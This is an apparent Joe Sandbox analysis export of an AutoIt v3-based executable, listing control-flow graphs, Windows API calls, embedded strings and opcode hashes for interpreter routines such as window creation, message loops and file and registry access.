7ff697ba28c4 call 7ff697bc321c 234->238 235->230 240 7ff697ba28d5 235->240 237->230 238->235 245 7ff697ba28da-7ff697ba28de 240->245 244 7ff697b5ea7d-7ff697b5eabd call 7ff697b5f1c4 call 7ff697b5f13c 242->244 243->245 246 7ff697b5ead2-7ff697b5ead9 243->246 244->243 245->246 248 7ff697ba28e4-7ff697ba28ef 245->248 249 7ff697ba28f4-7ff697ba2903 call 7ff697bc31d4 246->249 250 7ff697b5eadf-7ff697b5eaea 246->250 248->246 263 7ff697ba2905 249->263 253 7ff697b5ed09-7ff697b5ed18 call 7ff697b642a0 250->253 254 7ff697b5eaf0-7ff697b5eb22 call 7ff697b4a07c call 7ff697b5f08c call 7ff697b439bc 250->254 253->254 265 7ff697b5ed1e 253->265 273 7ff697b5eb24-7ff697b5eb29 call 7ff697b64c24 254->273 274 7ff697b5eb2e-7ff697b5ebc4 call 7ff697b439bc call 7ff697b4a07c call 7ff697b445c8 * 2 call 7ff697b4a07c * 3 call 7ff697b513e0 call 7ff697b5ee68 call 7ff697b5ee2c * 3 254->274 266 7ff697ba290a-7ff697ba2919 call 7ff697bb3a78 263->266 265->253 272 7ff697ba291b 266->272 277 7ff697ba2920-7ff697ba292f call 7ff697b5e4e4 272->277 273->274 274->266 316 7ff697b5ebca-7ff697b5ebdc call 7ff697b439bc 274->316 283 7ff697ba2931 277->283 286 7ff697ba2936-7ff697ba2945 call 7ff697bc3078 283->286 293 7ff697ba2947 286->293 295 7ff697ba294c-7ff697ba295b call 7ff697bc31a8 293->295 301 7ff697ba295d 295->301 304 7ff697ba2962-7ff697ba2971 call 7ff697bc31a8 301->304 310 7ff697ba2973 304->310 310->310 316->277 319 7ff697b5ebe2-7ff697b5ebec 316->319 319->286 320 7ff697b5ebf2-7ff697b5ec08 call 7ff697b4a07c 319->320 323 7ff697b5ec0e-7ff697b5ec18 320->323 324 7ff697b5ed20-7ff697b5ed25 call 7ff697b64c24 320->324 326 7ff697b5ec8a-7ff697b5eca9 call 7ff697b4a07c call 7ff697b64c24 323->326 327 7ff697b5ec1a-7ff697b5ec24 323->327 324->190 337 7ff697b5ecab 326->337 327->295 330 7ff697b5ec2a-7ff697b5ec3b 327->330 330->304 332 7ff697b5ec41-7ff697b5ed71 call 7ff697b4a07c * 3 call 7ff697b5ee10 call 7ff697b5ed8c 330->332 347 7ff697b5ed77-7ff697b5ed88 332->347 348 7ff697ba2978-7ff697ba2987 call 7ff697bcd794 332->348 337->327 351 7ff697ba2989 348->351 351->351
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: DestroySendStringUninitializeUnregisterWindow
                                                                                                                                                                            • String ID: close all
                                                                                                                                                                            • API String ID: 1992507300-3243417748
                                                                                                                                                                            • Opcode ID: 898e7ad48959ea57d970830a0d3bf25c9db69e83af24dfb35c39e817a9ff6a77
                                                                                                                                                                            • Instruction ID: f431dd508f3e0f2b9a8be08fff4e1691c0404ebde578fa97919e0cf8a109f75c
                                                                                                                                                                            • Opcode Fuzzy Hash: 898e7ad48959ea57d970830a0d3bf25c9db69e83af24dfb35c39e817a9ff6a77
                                                                                                                                                                            • Instruction Fuzzy Hash: 7AE1FA36B09A4281EE68EF16D5512BC2360FF86FD4F5840B5DB0ED7299DF38E8629700

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                            • String ID: AutoIt v3
                                                                                                                                                                            • API String ID: 423443420-1704141276
                                                                                                                                                                            • Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                                                                                                                                            • Instruction ID: 404ab7a43c47cbe52e73c42f8c4298d3e03ef8b9f45dd173ce464f394bc09292
                                                                                                                                                                            • Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                                                                                                                                            • Instruction Fuzzy Hash: 5B31013AA08B02CEF7609F51E8443AC37B5FB88B99F000079C98D93B68DF7D91958740

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 419 7ff697b87348-7ff697b873ba call 7ff697b87078 422 7ff697b873bc-7ff697b873c4 call 7ff697b755b4 419->422 423 7ff697b873d3-7ff697b873dd call 7ff697b7e418 419->423 428 7ff697b873c7-7ff697b873ce call 7ff697b755d4 422->428 429 7ff697b873f7-7ff697b87463 CreateFileW 423->429 430 7ff697b873df-7ff697b873f5 call 7ff697b755b4 call 7ff697b755d4 423->430 445 7ff697b8771a-7ff697b87736 428->445 431 7ff697b874eb-7ff697b874f6 GetFileType 429->431 432 7ff697b87469-7ff697b87470 429->432 430->428 438 7ff697b87549-7ff697b8754f 431->438 439 7ff697b874f8-7ff697b87533 GetLastError call 7ff697b75564 CloseHandle 431->439 435 7ff697b874b8-7ff697b874e6 GetLastError call 7ff697b75564 432->435 436 7ff697b87472-7ff697b87476 432->436 435->428 436->435 443 7ff697b87478-7ff697b874b6 CreateFileW 436->443 441 7ff697b87556-7ff697b87559 438->441 442 7ff697b87551-7ff697b87554 438->442 439->428 454 7ff697b87539-7ff697b87544 call 7ff697b755d4 439->454 449 7ff697b8755e-7ff697b875ac call 7ff697b7e334 441->449 450 7ff697b8755b 441->450 442->449 443->431 443->435 457 7ff697b875c0-7ff697b875ea call 7ff697b86de4 449->457 458 7ff697b875ae-7ff697b875ba call 7ff697b87284 449->458 450->449 454->428 466 7ff697b875ec 457->466 467 7ff697b875fe-7ff697b87643 457->467 464 7ff697b875bc 458->464 465 7ff697b875ef-7ff697b875f9 call 7ff697b804b8 458->465 464->457 465->445 466->465 468 7ff697b87665-7ff697b87671 467->468 469 7ff697b87645-7ff697b87649 467->469 473 7ff697b87718 468->473 474 7ff697b87677-7ff697b8767b 468->474 469->468 472 7ff697b8764b-7ff697b87660 469->472 472->468 473->445 474->473 475 7ff697b87681-7ff697b876c9 CloseHandle CreateFileW 474->475 476 7ff697b876cb-7ff697b876f9 GetLastError call 7ff697b75564 call 7ff697b7e548 475->476 477 7ff697b876fe-7ff697b87713 475->477 476->477 477->473
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1617910340-0
                                                                                                                                                                            • Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                                                                                                                                            • Instruction ID: 5fa50cd9eb08f15cd5193c30bd2900b8033daeecf8ec607f87ad550f69642067
                                                                                                                                                                            • Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                                                                                                                                            • Instruction Fuzzy Hash: 9EC1B437B14A4686EB60CFA4D4413AC3761EB8ABA8F055275DE1E9B7D9DF38D015C300

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 557 7ff697b525bc-7ff697b5263d 561 7ff697b52643-7ff697b5267c 557->561 562 7ff697b5287e-7ff697b528af 557->562 563 7ff697b52680-7ff697b52687 561->563 565 7ff697b5268d-7ff697b526a1 563->565 566 7ff697b52856-7ff697b52876 563->566 568 7ff697b526a7-7ff697b526bc 565->568 569 7ff697b9d148-7ff697b9d14f 565->569 566->562 570 7ff697b529c8-7ff697b529eb PeekMessageW 568->570 571 7ff697b526c2-7ff697b526c9 568->571 572 7ff697b9d155 569->572 573 7ff697b52702-7ff697b52723 569->573 574 7ff697b526e8-7ff697b526ef 570->574 575 7ff697b529f1-7ff697b529f5 570->575 571->570 576 7ff697b526cf-7ff697b526d4 571->576 584 7ff697b9d15a-7ff697b9d160 572->584 587 7ff697b52725-7ff697b5272c 573->587 588 7ff697b5276e-7ff697b527d2 573->588 581 7ff697b9e285-7ff697b9e293 574->581 582 7ff697b526f5-7ff697b526fc 574->582 578 7ff697b529fb-7ff697b52a05 575->578 579 7ff697b9d1aa-7ff697b9d1bb 575->579 576->570 580 7ff697b526da-7ff697b526e2 GetInputState 576->580 578->584 585 7ff697b52a0b-7ff697b52a1d call 7ff697b62de8 578->585 579->574 580->570 580->574 586 7ff697b9e29d-7ff697b9e2b5 call 7ff697b5f1c4 581->586 582->573 582->586 589 7ff697b9d162-7ff697b9d176 584->589 590 7ff697b9d19b 584->590 602 7ff697b52a33-7ff697b52a4f PeekMessageW 585->602 603 7ff697b52a1f-7ff697b52a2d TranslateMessage DispatchMessageW 585->603 586->566 587->588 595 7ff697b5272e-7ff697b52738 587->595 625 7ff697b527d8-7ff697b527da 588->625 626 7ff697b9e276 588->626 589->590 592 7ff697b9d178-7ff697b9d17f 589->592 590->579 592->590 596 7ff697b9d181-7ff697b9d190 TranslateAcceleratorW 592->596 600 7ff697b5273f-7ff697b52742 595->600 596->585 601 7ff697b9d196 596->601 605 7ff697b52748 600->605 606 7ff697b528b0-7ff697b528b7 600->606 601->602 602->574 610 7ff697b52a55 602->610 603->602 611 7ff697b5274f-7ff697b52752 605->611 608 7ff697b528eb-7ff697b528ef 606->608 609 7ff697b528b9-7ff697b528cc timeGetTime 606->609 608->600 613 7ff697b528d2-7ff697b528d7 609->613 614 7ff697b9d2ab-7ff697b9d2b0 609->614 610->575 615 7ff697b52758-7ff697b52761 611->615 616 7ff697b528f4-7ff697b528fb 611->616 618 7ff697b528dc-7ff697b528e5 613->618 619 7ff697b528d9 613->619 614->618 620 7ff697b9d2b6 614->620 623 7ff697b52767 615->623 624 7ff697b9d4c7-7ff697b9d4ce 615->624 621 7ff697b9d2f8-7ff697b9d303 616->621 622 7ff697b52901-7ff697b52905 616->622 618->608 627 7ff697b9d2bb-7ff697b9d2f3 timeGetTime call 7ff697b62ac0 call 7ff697bc3a28 618->627 619->618 620->627 628 7ff697b9d305 621->628 629 7ff697b9d309-7ff697b9d30c 621->629 622->611 623->588 625->626 632 7ff697b527e0-7ff697b527ee 625->632 626->581 627->608 628->629 630 7ff697b9d30e 629->630 631 7ff697b9d312-7ff697b9d319 629->631 630->631 634 7ff697b9d322-7ff697b9d329 631->634 635 7ff697b9d31b 631->635 632->626 636 7ff697b527f4-7ff697b52819 632->636 638 7ff697b9d332-7ff697b9d33d call 7ff697b642a0 634->638 639 7ff697b9d32b 634->639 635->634 640 7ff697b5290a-7ff697b5290d 636->640 641 7ff697b5281f-7ff697b52829 call 7ff697b52b70 636->641 638->605 638->624 639->638 645 7ff697b5290f-7ff697b5291a call 7ff697b52e30 640->645 646 7ff697b52931-7ff697b52933 640->646 651 7ff697b5282e-7ff697b52836 641->651 645->651 648 7ff697b52935-7ff697b52949 call 7ff697b566c0 646->648 649 7ff697b52971-7ff697b52974 646->649 659 7ff697b5294e-7ff697b52950 648->659 654 7ff697b5297a-7ff697b52997 call 7ff697b501a0 649->654 655 7ff697b9dfbe-7ff697b9dfc0 649->655 656 7ff697b5283c 651->656 657 7ff697b5299e-7ff697b529ab 651->657 669 7ff697b5299c 654->669 662 7ff697b9dfc2-7ff697b9dfc5 655->662 663 7ff697b9dfed-7ff697b9dff6 655->663 661 7ff697b52840-7ff697b52843 656->661 664 7ff697b9e181-7ff697b9e197 call 7ff697b64c24 * 2 657->664 665 7ff697b529b1-7ff697b529be call 7ff697b64c24 657->665 659->651 668 7ff697b52956-7ff697b52966 659->668 670 7ff697b52b17-7ff697b52b1d 661->670 671 7ff697b52849-7ff697b52850 661->671 662->661 673 7ff697b9dfcb-7ff697b9dfe7 call 7ff697b53c20 662->673 666 7ff697b9e005-7ff697b9e00c 663->666 667 7ff697b9dff8-7ff697b9e003 663->667 664->626 665->570 675 7ff697b9e00f-7ff697b9e016 call 7ff697bd8b98 666->675 667->675 668->651 676 7ff697b5296c 668->676 669->659 670->671 677 7ff697b52b23-7ff697b52b2d 670->677 671->563 671->566 673->663 688 7ff697b9e0d7-7ff697b9e0d9 675->688 689 7ff697b9e01c-7ff697b9e036 call 7ff697bc34e4 675->689 682 7ff697b9e0f4-7ff697b9e10e call 7ff697bc34e4 676->682 677->569 694 7ff697b9e110-7ff697b9e11d 682->694 695 7ff697b9e147-7ff697b9e14e 682->695 691 7ff697b9e0df-7ff697b9e0ee call 7ff697bda320 688->691 692 7ff697b9e0db 688->692 705 7ff697b9e06f-7ff697b9e076 689->705 706 7ff697b9e038-7ff697b9e045 689->706 691->682 692->691 699 7ff697b9e11f-7ff697b9e130 call 7ff697b64c24 * 2 694->699 700 7ff697b9e135-7ff697b9e142 call 7ff697b64c24 694->700 695->671 696 7ff697b9e154-7ff697b9e15a 695->696 696->671 703 7ff697b9e160-7ff697b9e169 696->703 699->700 700->695 703->664 705->671 708 7ff697b9e07c-7ff697b9e082 705->708 710 7ff697b9e047-7ff697b9e058 call 7ff697b64c24 * 2 706->710 711 7ff697b9e05d-7ff697b9e06a call 7ff697b64c24 706->711 708->671 713 7ff697b9e088-7ff697b9e091 708->713 710->711 711->705 713->688
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Message$Peek$DispatchInputStateTimeTranslatetime
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3249950245-0
                                                                                                                                                                            • Opcode ID: 7945bf9d5034aa0e7b8cfc4a286260ab0bd2e54431ccfa0ee28a6001e5c4815d
                                                                                                                                                                            • Instruction ID: c5cb81b86bb4a88deac8a6648ec2522a3e6af07c71e0530cb4a84c624e8d3a34
                                                                                                                                                                            • Opcode Fuzzy Hash: 7945bf9d5034aa0e7b8cfc4a286260ab0bd2e54431ccfa0ee28a6001e5c4815d
                                                                                                                                                                            • Instruction Fuzzy Hash: 7F226972A0968286EB748F25E4843FD37A1FB56BC8F5441B6DA5EC2699CF3CE485C700

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 849 7ff697b43cbc-7ff697b43d88 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Create$Show
                                                                                                                                                                            • String ID: AutoIt v3$d$edit
                                                                                                                                                                            • API String ID: 2813641753-2600919596
                                                                                                                                                                            • Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                                                                                                                                            • Instruction ID: fe7b4cfbfb9a5b769215098e66cf486621e2c1889a7871544f515a639ae13030
                                                                                                                                                                            • Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                                                                                                                                            • Instruction Fuzzy Hash: 6F211A76A28B41CBE760CF10F84936977B1FB89B99F114238D68D86658CFBDD185CB00

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62D8E
                                                                                                                                                                              • Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62D9C
                                                                                                                                                                              • Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DAC
                                                                                                                                                                              • Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DBC
                                                                                                                                                                              • Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DCA
                                                                                                                                                                              • Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DD8
                                                                                                                                                                              • Part of subcall function 00007FF697B5EEC8: RegisterWindowMessageW.USER32 ref: 00007FF697B5EF76
                                                                                                                                                                            • GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B4106D), ref: 00007FF697B48209
                                                                                                                                                                            • OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B4106D), ref: 00007FF697B4828F
                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B4106D), ref: 00007FF697B8D36A
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                                                                                                                                            • String ID: AutoIt
                                                                                                                                                                            • API String ID: 1986988660-2515660138
                                                                                                                                                                            • Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                                                                                                                                            • Instruction ID: 40269ed56bfebf581e8f93a7ec4a1b87fc5f4f6365abdc87647facef9e8823f5
                                                                                                                                                                            • Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                                                                                                                                            • Instruction Fuzzy Hash: B7C1C172E19B46CAE760DF14A8810B877BAFF957D0F5002BAD84DC2665EF7CA180C781

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconLoadNotifyShell_Stringwcscpy
                                                                                                                                                                            • String ID: Line:
                                                                                                                                                                            • API String ID: 3135491444-1585850449
                                                                                                                                                                            • Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                                                                                                                                            • Instruction ID: c3475be6e64172b737c54e955eae1093d0492ebacd1ba509ef9e560a50665592
                                                                                                                                                                            • Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                                                                                                                                            • Instruction Fuzzy Hash: 7B412172A086469AEB30DF24D4402E96362FB863C4F9450B1D64C8369EDE7CE645D740
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetOpenFileNameW.COMDLG32 ref: 00007FF697B8BAA2
                                                                                                                                                                              • Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF
                                                                                                                                                                              • Part of subcall function 00007FF697B43EB4: GetLongPathNameW.KERNELBASE ref: 00007FF697B43ED8
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Name$Path$FileFullLongOpen
                                                                                                                                                                            • String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
                                                                                                                                                                            • API String ID: 779396738-2360590182
                                                                                                                                                                            • Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                                                                                                                                            • Instruction ID: 282c2aae5adb6acf5adbf3b8620dc6d7ba2ea894486c719f7b90b69f13205984
                                                                                                                                                                            • Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                                                                                                                                            • Instruction Fuzzy Hash: B0311872608B8289E720DF21E8441A977B9FB4ABC4F5841B5DE8C87B5ADF3CD545CB40
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconNotifyShell_Timer$Killwcscpy
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3812282468-0
                                                                                                                                                                            • Opcode ID: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                                                                                                                                            • Instruction ID: 09c34938914c35b64d12a520d0f488a309abec0769626abc3de2da06ecb988d2
                                                                                                                                                                            • Opcode Fuzzy Hash: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                                                                                                                                            • Instruction Fuzzy Hash: 40319E72A08B8287EB759F21D1403BD7B99EB46FD8F1840B6DE4D87749CE2CD64487A0
                                                                                                                                                                            APIs
                                                                                                                                                                            • RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF697B46F52,?,?,?,?,?,?,00007FF697B4782C), ref: 00007FF697B46FA5
                                                                                                                                                                            • RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF697B46F52,?,?,?,?,?,?,00007FF697B4782C), ref: 00007FF697B46FD3
